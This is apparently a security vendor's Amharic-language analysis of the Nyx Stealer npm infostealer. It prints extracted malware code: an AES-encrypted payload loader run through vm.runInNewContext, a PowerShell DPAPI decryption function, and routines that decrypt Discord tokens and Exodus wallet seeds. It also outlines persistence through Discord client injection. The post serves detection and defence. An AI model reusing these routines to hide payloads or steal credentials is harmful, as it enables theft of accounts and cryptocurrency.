npm Infostealer

አዲስ npm Infostealer Discovery: Nyx ​​Stealer Hijacks Discord Sessions

TL; DR

የXygeni የደህንነት ምርምር ቡድን በሁለት ተንኮል አዘል ፓኬጆች የሚቀርብ የተራቀቀ የnpm infostealer ዘመቻ ለይቷል፡ ኮንሶልሎፊselfbot-lofi.

የቅርብ ጊዜው ስሪት (consolelofy@1.3.0) በማስኬድ ጊዜ የሚፈታ እና በማስኬድ በኩል የሚፈጽመውን 216KB AES-encrypted payload ያካትታል vm.runInNewContext()ተንኮል አዘል አመክንዮ ሙሉ በሙሉ የተመሰጠረ ስለሆነ፣ በክር ፍተሻ ላይ የተመሰረቱ የማይንቀሳቀሱ ስካነሮች እስከ አፈጻጸም ጊዜ ድረስ ባህሪውን ማየት አይችሉም።

አንዴ ዲክሪፕት ከተደረገ በኋላ የክፍያ ጫኙ በውስጥ የምርት ስም የተሰጠው የኒክስ ሌለር፣ ኢላማዎች፡

  • የዲስኮርድ ማረጋገጫ ቶከኖች
  • ከ50 በላይ የአሳሽ ምስክርነት መደብሮች
  • ከ90 በላይ የክሪፕቶ ምንዛሬ ቦርሳ ቅጥያዎች
  • ሮብሎክስ፣ ኢንስታግራም፣ ስፖቲኢን፣ ስቴም፣ ቴሌግራም እና ቲኮክ ክፍለ ጊዜዎች
  • የዲስኮርድ ዴስክቶፕ ደንበኛ ጽናት

በሁለቱም ፓኬጆች ውስጥ ያሉት 20 ስሪቶች በሙሉ ሪፖርት ተደርገዋል እና ተንኮል አዘል መሆናቸውን አረጋግጠዋል።

የዚህ npm Infostealer ቴክኒካዊ አጠቃላይ እይታ

ከባህላዊ የመጫኛ ጊዜ ማልዌር በተለየ፣ ይህ ዘመቻ በሚከተሉት ላይ የተመሰረተ ነው አሂድ ዲክሪፕት ሞዴል.

አሉ:

  • ተንኮል አዘል ነገር የለም preinstall or postinstall hooks
  • ምንም ግልጽ የመጫኛ ጊዜ የአውታረ መረብ ጥሪዎች የሉም
  • ምንም አይነት ግልጽ ያልሆነ የማረጋገጫ ሎጂክ የለም

ሞጁሉ ሲገባ የክፍያ ጭነቱ ይነቃቃል። መላው ተንኮል አዘል አካል የተመሰጠረ ሲሆን በሚሰራበት ጊዜ ብቻ በማህደረ ትውስታ ውስጥ ይገለጣል።

ይህ ዲዛይን በተለይ በጥቅል ጭነት ወቅት ለይቶ ማወቅን ያስወግዳል።

ይህ npm Infostealer እንዴት በትክክል እንደሚሰራ

ኒክስ ስቴለር የሚሰርቀውን ከመተንተን በፊት፣ መረዳት አለብን እንዴት እንደሚተገበር.

በዚህ npm infostealer ውስጥ ያለው ተንኮል አዘል አመክንዮ ወጥ የሆነ ንድፍ ይከተላል፦

አንድ ትንሽ ሎደር ትልቅ ኢንክሪፕትድ የሆነ የክፍያ ጭነትን ዲክሪፕት አድርጎ በNode.js VM አውድ ውስጥ በተለዋዋጭ ሁኔታ ያስፈጽመዋል።

ይህ ዲዛይን ሆን ተብሎ የተዘጋጀ ነው። አጥቂው ተግባርን ከድብቅ በስተጀርባ ብቻ እየደበቀ አይደለም፣ እነሱ ናቸው ተንኮል አዘል ኮዱን ከስታቲስቲክስ ታይነት ሙሉ በሙሉ በማስወገድ ላይ.

ከፍተኛ ደረጃ ያለው የአፈፃፀም ሞዴል

በከፍተኛ ደረጃ፣ መጠቅለያው አራት ነገሮችን ያደርጋል፡

  • SHA-256ን በመጠቀም ከጠንካራ ኮድ ካለው የይለፍ ሐረግ የAES ቁልፍ ያወጣል
  • ትልቅ ሄክሳ-ኢንኮድ የተደረገበት ሚስጥራዊ ጽሑፍን AES-256-CBC በመጠቀም ዲክሪፕት ያደርጋል
  • የተፈታውን ጃቫስክሪፕት በመጠቀም ያስፈጽማል vm.runInNewContext()
  • ኃይለኛ የአሂድ ጊዜ የመጀመሪያ ደረጃዎችን የሚያጋልጥ የአሸዋ ሳጥን ያቀርባል

የዋና ቴክኒክ ማጠቃለያ

ክፍል ውቅር / እሴት
አልጎሪዝም AES-256-CBC
የቁልፍ ውርስ SHA-256(የይለፍ ቃል)
የማስጀመሪያ ቬክተር (IV) 16 ባይት ከ0x00
ማስፈጸም vm.runInNewContext(ዲክሪፕት የተደረገ፣ የአሸዋ ሳጥን)

ወሳኝ በሆነ መልኩ፣ የአሸዋ ሳጥኑ ያልፋል፦

  • require
  • process
  • Buffer
  • ሰዓት ቆጣሪዎች
  • የሞዱል ኤክስፖርት

ይህ ማለት ዲክሪፕት የተደረገው የክፍያ ጭነት የሚከተሉትን ለማድረግ ሙሉ አቅም ይይዛል ማለት ነው፡

  • የመራባት ሂደቶች
  • ፋይሎችን ያንብቡ እና ይፃፉ
  • የአውታረ መረብ ጥሪዎችን ያድርጉ
  • የአካባቢ መተግበሪያዎችን ቀይር

ይህ የተገደበ ቨርቹዋል ማሽን አይደለም። እንደ አፈፃፀም ትራምፖሊን የሚያገለግል ቨርቹዋል ማሽን ነው።

የሩጫ ጊዜ ምስጠራ ንድፍ (ኮር የአፈጻጸም ዘዴ)

ጫኚው ትንሽ ነው።
ተንኮለኛው አካል አይደለም።

ከታች በጥቅሉ ውስጥ የሚገኘው የአፈጻጸም ንድፍ ነው፡

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

ይህ ለምን አስፈላጊ ነው?

ዲክሪፕት የተደረገው የክፍያ ጭነት፦

  • ያመጣል አይደለም በ npm ጥቅል ውስጥ በፕላን ጽሑፍ ውስጥ ይገኛሉ
  • ለቀላል የማይታይ ነው grep ወይም የማይንቀሳቀስ ሕብረቁምፊ ቅኝት
  • በማስኬድ ጊዜ ብቻ በማህደረ ትውስታ ውስጥ ይገለጣል
  • ሙሉ የኖድ አሂድ ጊዜ ችሎታዎችን በመጠቀም ይሰራል

ይህ የAES + VM አፈፃፀም ጥምረት ጠንካራ የባህሪ አመልካች ነው npm infostealer የማይንቀሳቀስ ፍተሻን ለማምለጥ እየሞከረ.

በሌላ አገላለጽ

የጥቅል ምንጭ ዛፉን ከቃኙ፣ ሌባ አያዩም።
ዲክሪፕት ማድረጊያ ታያለህ።

ዲክሪፕት ከተደረገ በኋላ ምን ይከሰታል

አንዴ ከተተገበረ በኋላ፣ Nyx Stealer ትይዩ የውሂብ አሰባሰብ ሞገዶችን ይጀምራል።

ሞገድ 1፡ የአሳሽ ምስክርነት ማውጣት

ማልዌር፦

  • የፓይቶን የስራ ጊዜ ከNuGet CDN ያወርዳል
  • የክሪፕቶግራፊክ ቤተ-መጻሕፍትን ይጭናል
  • በክሮሚየም ላይ የተመሰረቱ የምስክርነት መደብሮችን ያወጣል
  • በDPAPI የተጠበቁ ምስጢሮችን ዲክሪፕት ያደርጋል

ቤተኛ ማያያዣዎችን ከማጠናቀር ይልቅ፣ በቀጥታ ዊንዶውስ DPAPI ለመጥራት PowerShell ን ይጠቀማል።

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

ይህ አካሄድ፡-

  • የቅርስ ስብስቦችን ያስወግዳል
  • የዊንዶውስ ክሪፕቶ ኤ ፒ አይዎችን ይጠቀማል
  • ከአስተዳደር መሳሪያዎች ጋር ይዋሃዳል

የስርዓተ ክወና ደረጃ የምስክርነት ዲክሪፕት ነው፣ መቧጨር አይደለም።

ሞገድ 2፡ የዲስኮርድ ቶከን ዲክሪፕት

ሌባው ፕሮቶኮሉን ያውቃል። የዲስኮርድን የተመሰጠረ የቶከን ቅርጸት ይረዳል።

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

የአሠራር ፍሰት፡

  • ከዲስኮርድ የማስተር ቁልፍን ማውጣት Local State
  • ዋና ቁልፉን በዲፒኤፒአይ ዲክሪፕት ያድርጉ
  • የAES-GCM ቶከን ብሎቦችን ዲክሪፕት ያድርጉ
  • ቶከኖችን ከ Discord API ጋር ያረጋግጡ
  • በኒትሮ፣ ባጆች እና የክፍያ መረጃ ያበልጽጉ

ይህ አጠቃላይ የምስክርነት መጣል አይደለም። በፕሮቶኮል የተደገፈ የክፍለ ጊዜ ጠለፋ ነው።

ሞገድ 3፡ የክሪፕቶ ምንዛሬ ቦርሳ ኢላማ ማድረግ

የnpm infostealer የሚከተሉትን ያጠቃልላል፦

  • ከ90 በላይ የአሳሽ የኪስ ቦርሳ ቅጥያዎች
  • 27 የዴስክቶፕ ቦርሳዎች
  • ቀዝቃዛ የኪስ ቦርሳ መንገዶች
  • የዘጸአት ዘር ፋይሎች

የዘር ዲክሪፕት ሙከራ ምሳሌ፡

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

የኪስ ቦርሳ ስምምነት ከተሳካ ወዲያውኑ እና የማይቀለበስ ነው።

ይህ የዘመቻውን ከፍተኛ ዋጋ ያለው የገቢ መፍጠር ቬክተር ይወክላል።

በዲስኮርድ ዴስክቶፕ መርፌ በኩል ጽናት

ኒክስ ስቴለር የምስክር ወረቀቶችን ከሰበሰበ በኋላ የአካባቢውን መረጃ በማሻሻል ጽናት ይሞክራል። ክርክር ደንበኛ.

ዒላማ:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

የአሠራር ቅደም ተከተል

የመረጃ ተንጠልጣይ የሚከተሉትን ደረጃዎች ያከናውናል፡

  • የዲስኮርድ ሂደቶችን ማስኬድ ያቆማል
  • የተጫኑ የዲስኮርድ ልዩነቶችን (Stable፣ Canary፣ PTB) ያገኛል
  • ይተካል discord_desktop_core/index.js
  • በአጥቂ የሚቆጣጠረውን የድር መንጠቆ ሎጂክን ይወጋል
  • ዲስኮርድን እንደገና ያስጀምራል

ይህ የወደፊት የዲስኮርድ ክፍለ ጊዜዎች አዲስ የማረጋገጫ ቶከኖችን በራስ-ሰር እንደሚያፈሱ ያረጋግጣል።

አስፈላጊው ነገር፣ ይህ ጽናት በተያዘላቸው ተግባራት ወይም በመዝገብ ቤት ማሻሻያዎች ላይ የተመሰረተ አይደለም። በመተግበሪያ ደረጃ የኮድ ማሻሻያ፣ በተንኮለኛ አቀራረብ፣ ይጠቀማል።

ተንኮል አዘል የ npm ፓኬጅ በኋላ ላይ ቢወገድም፣ የዲስኮርድ ደንበኛው እንደተሰበረ ይቆያል።

ቴክኒካዊ ንጽጽር፡ ህጋዊ Selfbot ከ npm Infostealer

ክፍል ህጋዊ ቤተ መጻሕፍት Nyx npm Infostealer
ምስጠራ አንድም ሙሉ የAES-የተመሰጠረ የክፍያ ጭነት
የሩጫ ጊዜ ቪኤም ግዴታ አይደለም vm.runInNewContext ማስፈጸሚያ
የምስክርነት መዳረሻ የዲስኮርድ ኤፒአይ ብቻ አሳሽ፣ የኪስ ቦርሳዎች፣ ዲፒኤፒአይ
ውጫዊ ውርዶች አይ የፓይቶን የስራ ጊዜ በNuGet በኩል
ጠንካራነት አይ የዲስኮርድ ደንበኛ መርፌ
ገቢ መፍጠር የቦት አውቶሜሽን የምስክርነት ዳግም ሽያጭ

የኢንክሪፕሽን ንብርብር ብቻውን ይህንን ዘመቻ ከተለመደው ክፍት ምንጭ ሹካ ይለየዋል።

ሕጋዊ የሆነ የዲስኮርድ ራስቦት መላውን የኮድቤዝ ኢንክሪፕት ለማድረግ፣ DPAPI ን ለመድረስ PowerShell ለመፍጠር፣ ውጫዊ የሩጫ ጊዜዎችን ለማውረድ ወይም የዴስክቶፕ መተግበሪያ ውስጣዊ ክፍሎችን ለማሻሻል ምንም ምክንያት የለውም። እነዚህ ችሎታዎች የዲስኮርድ ግንኙነቶችን በራስ-ሰር እንደሚያስኬድ በሚናገር ጥገኝነት ውስጥ ሲታዩ፣ የስነ-ህንፃ አለመጣጣሙ ችላ ለማለት የማይቻል ይሆናል።

ከምርመራ አንፃር፣ ይህ የnpm infostealer በበርካታ ንብርብሮች ላይ ዱካዎችን ይተዋል። ሆኖም፣ በጣም አስተማማኝ አመልካቾች ጠንካራ ኮድ የተሰጣቸው ዩአርኤሎች ወይም የተወሰኑ የፋይል ዱካዎች አይደሉም፣ ምክንያቱም እነዚህ በስሪቶች መካከል ሊለዋወጡ ይችላሉ። በምትኩ፣ ዘላቂ ምልክቶች መዋቅራዊ ናቸው።

በጥቅሉ ደረጃ፣ በጣም ጠንካራው ቀይ ባንዲራ ትልቅ የተመሰጠረ የክፍያ ጭነት እና የሩጫ ጊዜ ዲክሪፕት መጠቅለያ ጥምረት ሲሆን ይህም ወዲያውኑ በ በኩል ይፈጸማል። vm.runInNewContext(). ምስጠራ ብቻውን በተፈጥሮው ተንኮል አዘል ባይሆንም፣ የAES ዲክሪፕት ማድረግ እና በDiscord መገልገያ ጥቅል ውስጥ ተለዋዋጭ የVM አፈፃፀምን መጠቀም በጣም ያልተለመደ ነው።

በአስተናጋጅ ደረጃ፣ አጠራጣሪ ቅጦች ያልተጠበቁ የዲፒኤፒአይ ዲክሪፕት እንቅስቃሴ፣ ከኖድ.ጄስ ጥገኝነት አውድ የሚመነጩ ሂደቶች እና በሶስተኛ ወገን ቤተ-መጻሕፍት ፈጽሞ ሊለወጡ የማይገባቸውን የአካባቢ አፕሊኬሽን ፋይሎች ማሻሻልን ያካትታሉ። በተመሳሳይ፣ በአውታረ መረብ ንብርብር፣ በልማት ጥገኝነት የተጀመረው የውጪ ድር-ሆክ አይነት ግንኙነት ሌላ ትርጉም ያለው ያልተለመደ ነገርን ይወክላል።

በሌላ አነጋገር፣ የመለየት ገጽ አንድም የስምምነት አመላካች አይደለም። አደጋውን የሚገልጸው የኢንክሪፕሽን፣ የሩጫ ጊዜ አፈጻጸም፣ የምስክርነት መዳረሻ እና የጽናት ባህሪ ትስስር ነው።

በ Xygeni መለየት እና መቀነስ

npm Infostealer

ይህ የ npm መረጃ ተንታኝ በ ተለይቷል የXygeni's Malware ቅድመ ማስጠንቀቂያ (MEW) በቀላል የፊርማ ማዛመድ ሳይሆን በተደራረበ የባህሪ ትስስር በኩል።

የሚታወቁ ተንኮል አዘል ሕብረቁምፊዎችን ከመፈለግ ይልቅ፣ MEW ሙሉ ምንጭ ዛፉ ላይ ያሉትን መዋቅራዊ ያልተለመዱ ነገሮችን ይገመግማል። በዚህ ሁኔታ፣ ለይቶ ማወቅ የመነጨው ከብዙ ምልክቶች መስተጋብራዊነት ነው፡ በሞጁል መግቢያ ነጥብ ውስጥ የተከተተ የAES ዲክሪፕት አሠራር፣ በVM አውድ ውስጥ ፈጣን አፈፃፀም እና ግልጽ የሆነ የአቅም-ወደ-ዓላማ አለመጣጣም።

በጣም አስፈላጊው ነገር፣ ከእነዚህ ምልክቶች ውስጥ አንዳቸውም ብቻቸውን ተንኮል አዘል ዓላማን አያሳዩም። ሆኖም፣ አንድ ላይ ሲተነተኑ፣ የሩጫ ጊዜ ባህሪን ለመደበቅ የሚደረግ ሙከራን ያጋልጣሉ። ይህ የተደራረበ አካሄድ ከፍተኛ በራስ መተማመን ያላቸውን የአቅርቦት ሰንሰለት ስጋቶችን በመለየት የውሸት አወንታዊ ነገሮችን በእጅጉ ይቀንሳል።

በተጨማሪም፣ ይህ ጉዳይ የመጫኛ ጊዜ ፍተሻ ብቻውን በቂ ያልሆነበትን ምክንያት ያሳያል። ተንኮል አዘል አመክንዮ በህይወት ዑደት ስክሪፕቶች ውስጥ አይኖርም። ሞጁሉ ከተጫነ በኋላ ብቻ ነው የሚሰራው እና በማህደረ ትውስታ ውስጥ ዲክሪፕት ከተደረገ በኋላ ብቻ ይታያል። ስለዚህ፣ ውጤታማ መከላከያ ምስጠራን የሚያውቅ ትንተና፣ የባህሪ ንድፍ ማወቂያ እና ከመጫኛ ክስተቶች ባሻገር ቀጣይነት ያለው ጥገኝነት ክትትልን ይፈልጋል።

የመዝገብ ማውረድ ምላሽ ሰጪ ነው። የሩጫ ጊዜን የሚያውቅ ትንተና መከላከልን ይከላከላል።

ይህ npm Infostealer ለምን አስፈላጊ ነው?

Nyx Stealer በ npm ላይ የተመሠረተ ማልዌር ውስጥ መዋቅራዊ ዝግመተ ለውጥን ይወክላል።

ከታሪክ አኳያ ብዙ ተንኮል አዘል ፓኬጆች በሚታዩ የመጫኛ ጊዜ ስክሪፕቶች ወይም ግልጽ የሆኑ የምስክርነት ማጣሪያ የመጨረሻ ነጥቦችን ላይ ይተማመኑ ነበር። በአንጻሩ፣ ይህ ዘመቻ የክፍያ ጭነቱን ያመሰጥራል፣ አፈፃፀሙን ወደ ሩጫ ጊዜ ያዘገያል፣ ህጋዊ የሆኑ የኦፕሬቲንግ ሲስተም ኤፒአይዎችን ይጠቀማል፣ እና በታመኑ መተግበሪያዎች ውስጥ ጽናት ይፈጥራል።

በዚህም ምክንያት፣ አጥቂው የnpm መሠረተ ልማትን በራሱ መጠቀም አያስፈልገውም። በምትኩ ጥቃቱ ስኬታማ የሚሆነው ጥገኝነት መጫን እምነትን ስለሚያመለክት ነው። ገንቢዎች ቤተ-መጽሐፍትን ማስመጣት ደህንነቱ የተጠበቀ አሠራር እንደሆነ ያስባሉ፣ በተለይም እራሱን እንደ ታዋቂ መሣሪያ አሳማኝ ሆኖ ሲያቀርብ።

ሥነ-ምህዳሮች እያደጉና እየተስፋፉ ሲሄዱ፣ ያ የተደበቀ የመተማመን ድንበር ከጊዜ ወደ ጊዜ ማራኪ የሆነ የጥቃት ገጽታ ይሆናል። ስለዚህ፣ ከዘመናዊ የnpm መረጃ ተንታኞች መከላከል የማይንቀሳቀሱ ሕብረቁምፊዎችን ከመፈለግ ይልቅ የስነ-ህንፃ ቅጦችን ማወቅን ይጠይቃል።

በመጨረሻም፣ ይህ ዘመቻ ወሳኝ ትምህርትን ያጠናክራል software supply chain security፦ በጣም አደገኛ የሆኑት ስጋቶች መጀመሪያ ላይ ተንኮል የሚመስሉ አይደሉም፣ ነገር ግን እስከ አሂድ ጊዜ ድረስ ትክክለኛ ባህሪያቸውን እስኪያሳዩ ድረስ በመዋቅራዊ መልኩ ህጋዊ የሚመስሉ ናቸው።

sca-tools-software-composition-analyse-tools
የሶፍትዌር አደጋዎችዎን ቅድሚያ ይስጡ፣ ያስተካክሉ እና ይጠብቁ
ነፃ መለያ ያግኙ።
ምንም ዱቤ ካርድ አያስፈልግም።

የሶፍትዌር ልማትዎን እና አቅርቦትዎን ደህንነት ይጠብቁ

ከ Xygeni Product Suite ጋር